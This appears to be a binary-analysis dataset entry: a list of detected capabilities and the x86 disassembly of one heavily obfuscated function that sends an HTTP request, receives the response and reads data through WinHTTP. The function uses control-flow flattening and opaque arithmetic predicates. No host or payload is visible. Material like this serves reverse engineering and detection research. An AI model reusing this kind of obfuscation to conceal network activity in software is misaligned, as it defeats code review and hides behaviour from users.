Function at 0x422ef4
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2b0
mov dword [ebp - 0x10], 0xe2e4d526
xor esi, esi
mov eax, dword [ebp - 0x10]
cmp eax, 0x992074
jle 0x422f70
cmp eax, 0x40424ad2
jle 0x423003
cmp eax, 0x613bcbdf
jg 0x423110
cmp eax, 0x53c4f60b
jg 0x423391
cmp eax, 0x47925a1c
jle 0x42377e
cmp eax, 0x4afd9ee9
jle 0x423f8c
cmp eax, 0x4afd9eea
je 0x4246fb
cmp eax, 0x4fd8efbe
je 0x424536
cmp eax, 0x5352a23c
jne 0x422f09
mov dword [ebp - 0x10], 0xf9f37ae3
jmp 0x422f09
cmp eax, 0xba417540
jle 0x423092
cmp eax, 0xe2e9a6f7
jg 0x423170
cmp eax, 0xd3d47d4c
jg 0x42341a
cmp eax, 0xc3d5f3f5
jle 0x4238a1
cmp eax, 0xcf5b158d
jle 0x42403e
cmp eax, 0xcf5b158e
je 0x424794
cmp eax, 0xd072869a
je 0x42458e
cmp eax, 0xd07a36f2
jne 0x422f09
imul edi, dword [ebp - 0x14], 0x2a
add edi, 0x690
mov dword [ebp - 0x14], edi
push 0x3926
push 0x28d6
push 0x2a6a
push edi
call fcn.004202f5
add esp, 0x10
mov eax, 0xf9f37ae3
cmp edi, 0x89
jae 0x424772
jmp 0x424bbd
cmp eax, 0x2f04eb1f
jle 0x4231dd
cmp eax, 0x3d937a72
jg 0x423307
cmp eax, 0x3826b7b7
jg 0x4236e7
cmp eax, 0x30444666
jle 0x423f1e
cmp eax, 0x30444667
je 0x424668
cmp eax, 0x326880a5
je 0x424457
cmp eax, 0x33fd9fa5
jne 0x422f09
imul edi, dword [ebp - 0x14], 0x534
add edi, 0xce
mov dword [ebp - 0x14], edi
push edi
call fcn.0042029a
add esp, 4
push 0x369e
push edi
call fcn.00420935
add esp, 8
mov eax, 0x5c6b3fa9
cmp edi, 0xdb
jge 0x424bbd
mov eax, 0xa1ca3652
jmp 0x424bbd
cmp eax, 0xa1ca3651
jle 0x423237
cmp eax, 0xb11b7d71
jg 0x4232a9
cmp eax, 0xab4802a5
jle 0x423665
cmp eax, 0xadc55534
jle 0x423eb5
cmp eax, 0xadc55535
je 0x42442f
cmp eax, 0xaf7469f1
je 0x4243a2
cmp eax, 0xb0d5342d
jne 0x422f09
imul eax, dword [ebp - 0x14], 0x468000
add eax, 0xffffa400
mov dword [ebp - 0x14], eax
push eax
push 0x5767
push 0x1fcd
push 0x1bf4
push 0x3126
call fcn.00420d98
add esp, 0x14
jmp 0x42340e
cmp eax, 0x6e6eb301
jg 0x4233d7
cmp eax, 0x662f916a
jle 0x4237ce
cmp eax, 0x6a49f361
jle 0x423fae
cmp eax, 0x6a49f362
je 0x42472c
cmp eax, 0x6a7ff886
je 0x424567
cmp eax, 0x6bc348a3
jne 0x422f09
mov eax, dword [ebp - 0x14]
shl eax, 0x12
mov dword [ebp - 0x14], eax
push eax
call fcn.00422ef4
add esp, 4
mov dword [ebp - 0x10], 0xe2aa88cf
jmp 0x422f09
cmp eax, 0xf6e746b6
jg 0x423474
cmp eax, 0xe8bdb437
jle 0x4238e2
cmp eax, 0xed6ce601
jle 0x42408d
cmp eax, 0xed6ce602
je 0x4247af
cmp eax, 0xf2b2172c
je 0x4245b3
cmp eax, 0xf53cb2ee
jne 0x422f09
push dword [ebp - 0x9c]
push dword [ebp + 8]
push 0x100
lea eax, [ebp - 0x2bc]
push eax
push 0
call fcn.0045d77f
add esp, 0x14
mov dword [ebp - 0x10], 0x4184e190
jmp 0x422f09
cmp eax, 0x1fe8acfc
jle 0x4234bc
cmp eax, 0x2c5a5236
jle 0x423628
cmp eax, 0x2d22bd99
jle 0x423cd1
cmp eax, 0x2d22bd9a
je 0x42435d
cmp eax, 0x2da611d6
je 0x4242b1
cmp eax, 0x2e68f7fd
jne 0x422f09
mov eax, dword [ebp - 0x38]
add eax, 8
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x10], 0x2bdaf2d1
jmp 0x422f09
cmp eax, 0x8bc08746
jle 0x423524
cmp eax, 0x93f2262f
jle 0x4235f2
cmp eax, 0x96e4aa90
jle 0x423bf1
cmp eax, 0x96e4aa91
je 0x4242a5
cmp eax, 0x99c72ad8
je 0x424290
cmp eax, 0x9baa9be4
jne 0x422f09
mov eax, dword [ebp - 0x14]
add eax, 0xffffffed
shr eax, 0xb
imul ecx, eax, 0x58
lea eax, [ecx - 0x126]
mov dword [ebp - 0x14], eax
mov eax, 0xf2b2172c
cmp ecx, 0x1ea
jae 0x424bbd
mov eax, 0x662f916b
jmp 0x424bbd
cmp eax, 0xb5238c97
jle 0x4236ba
cmp eax, 0xb7626a28
jle 0x423eea
cmp eax, 0xb7626a29
je 0x424444
cmp eax, 0xb9250cea
je 0x4243bb
cmp eax, 0xb9313eac
jne 0x422f09
mov eax, dword [ebp - 0x14]
shl eax, 0xa
or eax, 0xee
imul ecx, eax, 0xcb
mov dword [ebp - 0x14], ecx
mov eax, 0xe2e4d526
cmp ecx, 0x14
jge 0x424aef
jmp 0x424bbd
cmp eax, 0x3e7734cc
jle 0x423744
cmp eax, 0x3f980cc7
jle 0x423f4a
cmp eax, 0x3f980cc8
je 0x424686
cmp eax, 0x3fbd283e
je 0x424485
cmp eax, 0x3fc1a9c9
jne 0x422f09
mov edi, 0x28
push edi
push 0x47f790
push dword [ebp - 0x44]
call fcn.0044cd70
add esp, 0xc
push 7
push 0x47f7b8
push edi
push dword [ebp - 0x44]
call fcn.004291e0
add esp, 0x10
push dword [ebp - 0x44]
push dword [ebp - 0x30]
call fcn.0044db00
add esp, 8
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
mov eax, 0x606b456a
je 0x424bbd
mov eax, 0x5d297c63
jmp 0x424bbd
cmp eax, 0x59e7227f
jle 0x42380c
cmp eax, 0x5c6b3fa8
jle 0x423ffa
cmp eax, 0x5c6b3fa9
je 0x424752
cmp eax, 0x5d297c63
je 0x424576
cmp eax, 0x606b456a
jne 0x422f09
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x99c72ad8
jmp 0x422f09
cmp eax, 0x7bc96101
jle 0x42386b
cmp eax, 0x7ed42759
jle 0x42401c
cmp eax, 0x7ed4275a
je 0x42477c
cmp eax, 0x7ef46fc5
je 0x424582
cmp eax, 0x7fbe84b8
jne 0x422f09
mov dword [ebp - 0x10], 0x814c574a
jmp 0x422f09
cmp eax, 0xde439064
jle 0x423966
cmp eax, 0xdf545e12
jle 0x4240d6
cmp eax, 0xdf545e13
je 0x424837
cmp eax, 0xe2aa88cf
je 0x4245dd
cmp eax, 0xe2e4d526
jne 0x422f09
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0x5352a23c
jmp 0x422f09
cmp eax, 0xfa4794cf
jle 0x4239bd
cmp eax, 0xfc9afeb4
jle 0x424107
cmp eax, 0xfc9afeb5
je 0x424867
cmp eax, 0xfd13d199
je 0x424646
cmp eax, 0xfd2871e9
jne 0x422f09
imul eax, dword [ebp - 0x18], 0x3f2a0000
add eax, 0x578b8000
jmp 0x4239ef
cmp eax, 0xadb079f
jle 0x42356e
cmp eax, 0x1b79edd3
jg 0x4239fe
cmp eax, 0x123d345e
je 0x424188
cmp eax, 0x1259ed3f
jne 0x424cb5
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + ecx*8]
lea eax, [eax + eax*8]
shr eax, 4
imul eax, eax
imul edx, eax, 0x7877
dec edx
imul ecx, ecx, 0xa2
and ecx, 0xfffe0000
mov dword [ebp - 0x18], ecx
mov ecx, 0x6bc348a3
cmp edx, eax
je 0x424b23
mov ecx, 0xbb84be91
jmp 0x424b23
cmp eax, 0x83af13c7
jg 0x4235c2
cmp eax, 0x822d09c4
jg 0x423abe
cmp eax, 0x814c574a
je 0x42421f
cmp eax, 0x81e29d54
jne 0x422f09
push 0x100
push 0
push dword [ebp - 0x20]
call fcn.0044d870
add esp, 0xc
mov dword [ebp - 0x10], 0xa79934e9
jmp 0x422f09
cmp eax, 0x73d4ace
jg 0x423a52
cmp eax, 0x992075
je 0x4241c6
cmp eax, 0x590148a
jne 0x422f09
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x4c]
push dword [ebp - 0x2c]
push dword [ebp - 0x8c]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xdf545e13
jmp 0x422f09
cmp eax, 0x8a008e8e
jg 0x423ae0
cmp eax, 0x83af13c8
je 0x424234
cmp eax, 0x89315936
jne 0x422f09
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x7fbe84b8
jmp 0x422f09
cmp eax, 0x8d632ed0
jg 0x423b12
cmp eax, 0x8bc08747
je 0x4242d4
cmp eax, 0x8c153c98
jne 0x422f09
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xe66b055b
jmp 0x422f09
cmp eax, 0x25ce4b6b
jg 0x423b41
cmp eax, 0x1fe8acfd
je 0x4243da
cmp eax, 0x20357a4c
jne 0x422f09
mov eax, dword [ebp - 0x34]
mov ecx, 0xde
add eax, ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x10], 0x3e52ca15
jmp 0x422f09
cmp eax, 0xa7fcb676
jg 0x423b94
cmp eax, 0xa1ca3652
je 0x4244bb
cmp eax, 0xa79934e9
jne 0x422f09
imul eax, dword [ebp - 0x18], 0xbd
add eax, 0x46e0
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6a5d
shr eax, 1
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x4fd8efbe
cmp ecx, edx
je 0x424bbd
mov eax, 0x2c5a5237
jmp 0x424bbd
cmp eax, 0xb33930b8
jg 0x423bc1
cmp eax, 0xb11b7d72
je 0x4244e3
cmp eax, 0xb2ef7c36
jne 0x422f09
mov dword [ebp - 0x10], 0xb9250cea
jmp 0x422f09
cmp eax, 0x3c221f89
jg 0x423c48
cmp eax, 0x3826b7b8
je 0x424880
cmp eax, 0x3bde2ba3
jne 0x424cc1
mov eax, dword [ebp - 0x18]
mov ecx, 0xffffff64
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7d4f
shr eax, 9
dec edx
imul eax, eax, 0xe4
add eax, 0xf
mov dword [ebp - 0x18], eax
mov eax, 0x2d22bd9a
cmp edx, ecx
je 0x424bbd
mov eax, 0x9577dbd3
jmp 0x424bbd
cmp eax, 0x3dfc6e2e
jg 0x423c7b
cmp eax, 0x3d937a73
je 0x42489c
cmp eax, 0x3dbd8954
jne 0x422f09
cmp dword [ebp - 0x5c], 0
mov eax, 0xf9b5d954
je 0x424bbd
mov eax, 0xbdf24095
jmp 0x424bbd
cmp eax, 0x4184e18f
jg 0x423cfc
cmp eax, 0x40424ad3
je 0x424903
cmp eax, 0x40e18a3f
jne 0x422f09
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0x73]
imul ecx, ecx
imul edx, ecx, 0x33c5
dec edx
add eax, 0xfffffe9e
mov dword [ebp - 0x18], eax
mov eax, 0x3826b7b8
cmp edx, ecx
je 0x424bbd
mov eax, 0x5a57039a
jmp 0x424bbd
cmp eax, 0x635a8020
jg 0x423d51
cmp eax, 0x613bcbe0
je 0x424928
cmp eax, 0x617e93dd
jne 0x422f09
mov eax, dword [ebp - 0x18]
shl eax, 0x13
and eax, 0xc0000000
lea eax, [eax + eax*4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x3dfc6e2f
jmp 0x422f09
cmp eax, 0x56a65dc6
jg 0x423d73
cmp eax, 0x53c4f60c
je 0x424943
cmp eax, 0x562f2695
jne 0x422f09
imul edi, dword [ebp - 0x14], 0x3d0
add edi, 0x3b750
mov dword [ebp - 0x14], edi
push 0x26e6
push 0x3398
push edi
call fcn.00414f08
add esp, 0xc
mov eax, 0x8bc08747
cmp edi, 0x8b
jge 0x424bbd
mov eax, 0xf9f37ae3
jmp 0x424bbd
cmp eax, 0x7759dc36
jg 0x423dac
cmp eax, 0x6e6eb302
je 0x424972
cmp eax, 0x6eeddbec
jne 0x422f09
mov eax, dword [ebp - 0x84]
mov byte [eax], 0
mov dword [ebp - 0x10], 0xdd6833a9
jmp 0x422f09
cmp eax, 0xbb84be90
jg 0x423deb
cmp eax, 0xba417541
je 0x4249e9
cmp eax, 0xbb6bd3bb
jne 0x422f09
push 8
push 0x472b5e
push 0x2f
push dword [ebp - 0x3c]
call fcn.004290b0
add esp, 0x10
mov dword [ebp - 0x10], 0x697bd60a
jmp 0x422f09
cmp eax, 0xe5be4b7b
jg 0x423e19
cmp eax, 0xe2e9a6f8
je 0x424a03
cmp eax, 0xe424f125
jne 0x422f09
imul edi, dword [ebp - 0x14], 0x32bd10
add edi, 0xfc6eb4e0
mov ebx, edi
shr ebx, 6
add ebx, 0x39
mov dword [ebp - 0x14], ebx
push 0x4919
push 0x4ba0
push 0x1c7e
push 0x29b6
push ebx
call fcn.0041b966
add esp, 0x14
push ebx
push 0x5395
push 0x56fc
push 0x4069
call fcn.004202b8
add esp, 0x10
mov eax, 0xe5be4b7c
cmp edi, 0x1f00
jb 0x424722
jmp 0x424bbd
cmp eax, 0xd6893fb6
jg 0x423e4a
cmp eax, 0xd3d47d4d
je 0x424a46
cmp eax, 0xd490b5e6
jne 0x422f09
mov eax, dword [ebp - 0x18]
mov ecx, 0xffffff59
add eax, ecx
shr eax, 3
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x39a7
dec edx
add eax, 0x4c
mov dword [ebp - 0x18], eax
mov eax, 0xf53cb2ee
cmp edx, ecx
je 0x424bbd
mov eax, 0x3e7734cd
jmp 0x424bbd
cmp eax, 0xf9b5d953
jg 0x423e6c
cmp eax, 0xf6e746b7
je 0x424a6a
cmp eax, 0xf9137b9b
jne 0x422f09
mov eax, dword [ebp - 0x18]
shr eax, 9
and eax, 0xfffffff0
add eax, 0xfffff91d
shr eax, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xb7626a29
jmp 0x422f09
cmp eax, 0x1b79edd4
je 0x42417c
cmp eax, 0x1c3cf6f9
jne 0x422f09
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 7]
imul ecx, ecx
imul edx, ecx, 0x7d7d
dec edx
add eax, 0x47
mov dword [ebp - 0x18], eax
mov eax, 0xef90295
cmp edx, ecx
je 0x423a38
mov eax, 0xfa4794d0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], ecx
jmp 0x422f09
cmp eax, 0x73d4acf
je 0x4241e5
cmp eax, 0xa40f885
jne 0x422f09
mov eax, dword [ebp - 0x14]
add eax, 0xfffffffd
shr eax, 0xe
mov edi, eax
shl edi, 8
sub edi, eax
mov dword [ebp - 0x14], edi
push edi
push 0x5437
push 0x6200
push 0x4b6
call fcn.0041bde5
add esp, 0x10
push 0x436f
push edi
push 0x283c
call fcn.004210d3
add esp, 0xc
mov eax, 0xf9f37ae3
cmp edi, 0x50
jb 0x424bbd
mov eax, 0x3eca9be9
jmp 0x424bbd
cmp eax, 0x822d09c5
je 0x42424a
cmp eax, 0x83a82200
jne 0x422f09
mov dword [ebp - 0x10], 0x6a49f362
jmp 0x422f09
cmp eax, 0x8a008e8f
je 0x424261
cmp eax, 0x8b5bda0c
jne 0x422f09
cmp dword [ebp - 0xac], 0
mov eax, 0xcf5b158e
je 0x424bbd
mov eax, 0x89315936
jmp 0x424bbd
cmp eax, 0x8d632ed1
je 0x42432a
cmp eax, 0x9146738d
jne 0x422f09
mov eax, dword [ebp - 0xb8]
cmp byte [eax], 0x6b
mov eax, 0xa7fe296d
jne 0x42452c
jmp 0x424bbd
cmp eax, 0x25ce4b6c
je 0x4243e6
cmp eax, 0x2bdaf2d1
jne 0x422f09
mov eax, dword [ebp - 0xa4]
mov byte [eax], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x47f77c]
mov dword [eax + 4], ecx
mov ecx, dword [0x47f778]
mov dword [eax], ecx
push 5
push 0x47f780
push 8
push dword [ebp - 0x38]
call fcn.004291e0
add esp, 0x10
mov dword [ebp - 0x10], 0x123d345e
jmp 0x422f09
cmp eax, 0xa7fcb677
je 0x42450c
cmp eax, 0xa7fe296d
jne 0x422f09
push dword [ebp - 0x30]
call fcn.0045d3c9
add esp, 4
mov dword [ebp - 0x10], 0xf9137b9b
jmp 0x422f09
cmp eax, 0xb33930b9
je 0x42451b
cmp eax, 0xb4ca39cd
jne 0x422f09
mov eax, dword [ebp - 0x18]
shl eax, 7
and eax, 0xfffff80
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xac06b2bf
jmp 0x422f09
cmp eax, 0x93f22630
je 0x4246b6
cmp eax, 0x9577dbd3
jne 0x422f09
push 7
push 0x47f7ec
push 0x2c
push dword [ebp - 0x48]
call fcn.004291e0
add esp, 0x10
push 0x100
push dword [ebp - 0x20]
push dword [ebp - 0x48]
push dword [ebp - 0x80]
call fcn.00424ceb
add esp, 0x10
mov ecx, 0x606b456a
test eax, eax
je 0x424b23
mov ecx, 0x53c4f60c
jmp 0x424b23
cmp eax, 0x3c221f8a
je 0x4248c7
cmp eax, 0x3c4214c6
jne 0x422f09
push 0
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x10], 0x8b5bda0c
jmp 0x422f09
cmp eax, 0x3dfc6e2f
je 0x4248e8
cmp eax, 0x3e52ca15
jne 0x422f09
mov eax, dword [ebp - 0xa0]
mov word [eax], 0
push 0xde
push 0x4729f0
push dword [ebp - 0x34]
call fcn.0044cd70
add esp, 0xc
push 7
push 0x472ace
push 0x6f
push dword [ebp - 0x34]
call fcn.004290b0
add esp, 0x10
mov dword [ebp - 0x10], 0xc6986cd1
jmp 0x422f09
cmp eax, 0x2c5a5237
je 0x4248f7
cmp eax, 0x2cfbd5ee
jne 0x422f09
push eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], 0x2e68f7fd
jmp 0x422f09
cmp eax, 0x4184e190
je 0x424996
cmp eax, 0x446ff40c
jne 0x422f09
imul ecx, dword [ebp - 0x18], 0x2f
add ecx, 0xd09
imul eax, ecx, 0x9e8e0000
imul ecx, ecx
imul edx, ecx, 0x2bff
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x614e249b
cmp ecx, edx
je 0x423d3d
mov eax, 0xfa4794d0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
jmp 0x422f09
cmp eax, 0x635a8021
je 0x4249b1
cmp eax, 0x64c4a4b2
jne 0x422f09
mov dword [ebp - 0x10], 0x20357a4c
jmp 0x422f09
cmp eax, 0x56a65dc7
je 0x4249cd
cmp eax, 0x59d4edc1
jne 0x422f09
mov eax, dword [ebp - 0x18]
shr eax, 2
and eax, 0xffffff80
imul eax, eax, 0xb7
add eax, 0xffffff08
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x1b79edd4
jmp 0x422f09
cmp eax, 0x7759dc37
je 0x4249dd
cmp eax, 0x77feca2e
jne 0x422f09
mov eax, dword [ebp - 0x14]
shr eax, 0xf
lea ecx, [eax + eax*2]
shl ecx, 3
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0xe8bdb438
cmp ecx, 0x17
jae 0x424bbd
mov eax, 0xd07a36f2
jmp 0x424bbd
cmp eax, 0xbb84be91
je 0x424aa7
cmp eax, 0xbdf24095
jne 0x422f09
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x10], 0xb4ca39cd
jmp 0x422f09
cmp eax, 0xe5be4b7c
je 0x424ab3
cmp eax, 0xe66b055b
jne 0x422f09
imul eax, dword [ebp - 0x18], 0xa6000
or eax, 0xcb0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xc3d5f3f6
jmp 0x422f09
cmp eax, 0xd6893fb7
je 0x424acf
cmp eax, 0xdd6833a9
jne 0x422f09
mov dword [ebp - 0x10], 0xfd13d199
jmp 0x422f09
cmp eax, 0xf9b5d954
je 0x424af9
cmp eax, 0xf9f37ae3
jne 0x422f09
push 0x200
push 0
lea eax, [ebp - 0x2bc]
push eax
call fcn.0044d870
add esp, 0xc
push dword [ebp + 8]
call fcn.0045de60
add esp, 4
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10], 0x4afd9eea
jmp 0x422f09
cmp eax, 0xab4802a6
je 0x424b2b
cmp eax, 0xac06b2bf
jne 0x422f09
mov eax, dword [ebp - 0xb4]
mov byte [eax], 0
mov ecx, dword [ebp - 0x5c]
mov eax, 0x40e18a3f
cmp ecx, 2
jne 0x42452c
jmp 0x424bbd
cmp eax, 0xb5238c98
je 0x424b51
cmp eax, 0xb6220657
jne 0x422f09
push eax
sub esp, 0x5c
mov eax, esp
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov word [eax + 0x5e], 0
mov dword [ebp - 0x10], 0x30444667
jmp 0x422f09
cmp eax, 0x2f04eb20
je 0x424b70
cmp eax, 0x2f357b4d
jne 0x422f09
imul eax, dword [ebp - 0x18], 0x179a0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xbb6bd3bb
jmp 0x422f09
cmp eax, 0x3e7734cd
je 0x424b90
cmp eax, 0x3eca9be9
jne 0x422f09
mov eax, 0x2bfe5
mov dword [ebp - 0x14], eax
push 0x29a3
push eax
push 0xeb5
push 0x3607
call fcn.004260e5
add esp, 0x10
mov dword [ebp - 0x10], 0x64c4a4b2
jmp 0x422f09
cmp eax, 0x47925a1d
je 0x424b9c
cmp eax, 0x48f2b0a9
jne 0x422f09
mov dword [ebp - 0x10], 0x8a008e8f
jmp 0x422f09
cmp eax, 0x662f916b
je 0x424bc5
cmp eax, 0x697bd60a
jne 0x422f09
mov eax, dword [ebp - 0xa8]
push 0
push eax
push eax
lea eax, [ebp - 0x98]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x3c]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov ecx, 0x99c72ad8
test eax, eax
je 0x424b23
mov ecx, 0x3c4214c6
jmp 0x424b23
cmp eax, 0x59e72280
je 0x424be3
cmp eax, 0x5a57039a
jne 0x422f09
mov dword [ebp - 0x10], 0xb33930b9
jmp 0x422f09
cmp eax, 0x7bc96102
je 0x424bf7
cmp eax, 0x7dbbe635
jne 0x422f09
mov dword [ebp - 0x10], 0x96e4aa91
jmp 0x422f09
cmp eax, 0xc3d5f3f6
je 0x424c2c
cmp eax, 0xc6986cd1
jne 0x422f09
mov eax, dword [ebp - 0x18]
add eax, 0x37
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3aad
shr eax, 5
and eax, 0x3ffff8
dec edx
add eax, 0x10b
mov dword [ebp - 0x18], eax
mov eax, 0x7ed4275a
cmp ecx, edx
je 0x424bbd
mov eax, 0xe5be4b7c
jmp 0x424bbd
cmp eax, 0xe8bdb438
je 0x424c38
cmp eax, 0xe94d5c60
jne 0x422f09
mov edi, dword [ebp - 0xbc]
inc edi
push edi
push 1
call fcn.0045cb83
add esp, 8
mov dword [0x48155c], eax
push dword [ebp - 0x20]
push edi
push eax
call fcn.0045ddfc
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0xfd2871e9
jmp 0x422f09
cmp eax, 0xde439065
je 0x424c7c
cmp eax, 0xdeae4755
jne 0x422f09
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x3dbd8954
jmp 0x422f09
cmp eax, 0xfa4794d0
je 0x424c91
cmp eax, 0xfadd67bb
jne 0x422f09
mov eax, dword [ebp - 0x14]
mov ecx, eax
shl ecx, 4
lea edi, [eax + ecx]
add edi, 0xfffffb8d
mov dword [ebp - 0x14], edi
push 0x1568
push 0x809
push 0x1437
push 0x3226
push edi
call fcn.0041cfd7
add esp, 0x14
push 0x1904
push 0x1e5c
push edi
call fcn.0041be23
add esp, 0xc
mov eax, 0x822d09c5
cmp edi, 0xd7
jge 0x424bbd
mov eax, 0x33fd9fa5
jmp 0x424bbd
mov dword [ebp - 0x10], 0x83af13c8
jmp 0x422f09
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], edx
mov al, byte [eax + 8]
mov byte [ebp - 0x90], al
lea eax, [ebp - 0x98]
push eax
call fcn.0045de60
add esp, 4
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x10], 0x3fbd283e
jmp 0x422f09
imul eax, dword [ebp - 0x18], 0x1be00
or eax, 0x50
imul eax, eax, 0x89
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x9146738d
jmp 0x422f09
mov eax, dword [ebp - 0x18]
mov ecx, 0xd2
add eax, ecx
imul ecx, eax, 0x98a
imul eax, eax
imul edx, eax, 0x5d7b
dec edx
add ecx, 0xb2
mov dword [ebp - 0x18], ecx
mov ecx, 0x562f2695
cmp edx, eax
je 0x424b23
mov ecx, 0x6a7ff886
jmp 0x424b23
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x1259ed3f
jmp 0x422f09
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x10], 0x992075
jmp 0x422f09
cmp dword [ebp - 0xb0], 0
setne byte [ebp - 0x25]
mov dword [ebp - 0x10], 0x6e6eb302
jmp 0x422f09
cmp dword [ebp - 0x7c], 0
mov eax, 0x1c3cf6f9
jne 0x424271
mov eax, 0xdeae4755
cmp byte [ebp - 0x26], 0
jne 0x42427c
mov eax, 0xdeae4755
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], eax
jmp 0x422f09
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0xba417541
jmp 0x422f09
mov dword [ebp - 0x10], 0x7ed4275a
jmp 0x422f09
mov eax, dword [ebp - 0x18]
shl eax, 8
and eax, 0x7ffff00
or eax, 6
imul eax, eax, 0xf3a80
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x3fc1a9c9
jmp 0x422f09
imul edi, dword [ebp - 0x14], 0x340
add edi, 0xfffe8d80
mov dword [ebp - 0x14], edi
push 0x364c
push edi
push 0x2ba2
push 0x5217
call fcn.0041c902
add esp, 0x10
push edi
push 0x49f6
push 0x3131
call fcn.004196a9
add esp, 0xc
mov eax, 0xf9f37ae3
cmp edi, 0xa6
jb 0x424bbd
mov eax, 0x2e68f7fd
jmp 0x424bbd
imul ecx, dword [ebp - 0x14], 0x4c80
add ecx, 0xffffebae
mov eax, ecx
shr eax, 5
add eax, 0xffffffd3
mov dword [ebp - 0x14], eax
mov eax, 0xb9250cea
cmp ecx, 0xc20
jae 0x424bbd
mov eax, 0x20357a4c
jmp 0x424bbd
mov eax, dword [ebp - 0x14]
lea edi, [eax + eax*8]
shl edi, 0xd
add edi, 0xffffff23
mov dword [ebp - 0x14], edi
push 0x4aab
push 0x4582
push edi
push 0x515d
call fcn.00417ec0
add esp, 0x10
mov eax, 0x635a8021
cmp edi, 0x8c
jl 0x424bbd
mov eax, 0x3fc1a9c9
jmp 0x424bbd
imul eax, dword [ebp - 0x18], 0x98000
shr eax, 0xb
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x48f2b0a9
jmp 0x422f09
cmp dword [ebp - 0x54], 0
mov eax, 0xadb07a0
je 0x4243cb
mov eax, 0xb5238c98
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x50], 0
jmp 0x422f09
mov dword [ebp - 0x10], 0xd3d47d4d
jmp 0x422f09
imul edi, dword [ebp - 0x14], 0x3c7c
add edi, 0xff925e4c
mov dword [ebp - 0x14], edi
push edi
push 0x34e9
call fcn.00424ceb
add esp, 8
push 0x4b9b
push edi
push 0x560d
call fcn.00420d51
add esp, 0xc
mov eax, 0xd072869a
cmp edi, 0x1c
jb 0x424bbd
mov eax, 0x59e72280
jmp 0x424bbd
push dword [ebp - 0x54]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0x3d937a73
jmp 0x422f09
mov dword [ebp - 0x10], 0xadb07a0
mov dword [ebp - 0x50], 1
jmp 0x422f09
push eax
sub esp, 0x2c
mov eax, esp
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov byte [eax + 0x2c], 0
push 0x2c
push 0x47f7c0
push dword [ebp - 0x48]
call fcn.0044cd70
add esp, 0xc
mov dword [ebp - 0x10], 0x3bde2ba3
